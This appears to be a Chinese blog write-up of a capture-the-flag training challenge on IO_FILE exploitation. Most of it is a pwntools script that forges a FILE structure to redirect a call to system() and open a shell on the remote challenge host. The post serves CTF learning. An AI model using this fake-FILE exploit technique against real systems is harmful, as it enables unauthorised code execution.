XMAN【第x+2天】IO_FILE

前言

很简单的题目,只是因为不了解文件结构,也就没做出来。

过程

基本上和讲师给的例题是一样的(可是那天我没来),比赛的时候郁闷,百度了多久的资料(我还翻出了一年前写的fsp的文章,表示已经看不懂了-。-),好多IO_FILE都是和堆结合在一起,原理虽然看明白了,但是到了也没弄明白这个fake_file该怎么构造偏移是多少??而且比较难受的是我本地是ubuntu 1804,好像用不了,调了好久没调出来。最后找到了pdf,照着例子,调试了一下。认清了偏移,那么这题就很easy了-。-
一下是随便传的几张图。
这里写图片描述
这里写图片描述
代码:

from pwn import*


def attack_remote_untils():
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('192.168.148.126', 10000)
    # conn = remote('127.0.0.1', 10000)
    file_addr = 0x6010C0
    system_addr = 0x400897
    raw_input("go?")
    conn.recvuntil(">")
    conn.sendline('1')
    sleep(0.1)
    # 1604  2.23
    payload=('\x00'*0x10+p64(system_addr)+'\x00'*0x70)  # call    qword ptr [rax+10h]
    payload+=p64(file_addr) #   mov     rdx, [rbx+88h]
    payload+='\x00'*(0xd8-len(payload))
    payload+=p64(file_addr) #   mov     rax, [rbx+0D8h]
    payload+='\x00'*(0x100-len(payload))
    payload+=p64(file_addr) #rdi = FILE *   mov  rbx , rdi
    # payload = (('\0' * 0x10 + p64(system_addr) + '\0' * 0x70 + p64(file_addr)
    #             ).ljust(0xd8, '\0') + p64(file_addr)).ljust(0x100, '\0') + p64(file_addr)
    conn.sendline(payload)
    conn.recvuntil(">")
    conn.sendline('3')
    # get shell
    conn.interactive()


attack_remote_untils()

总结

话说突然想到64位的dl_resolve的结构完全可以自己调出来丫,当时怎么没想到。。

猜你喜欢

转载自blog.csdn.net/qq_33438733/article/details/81585920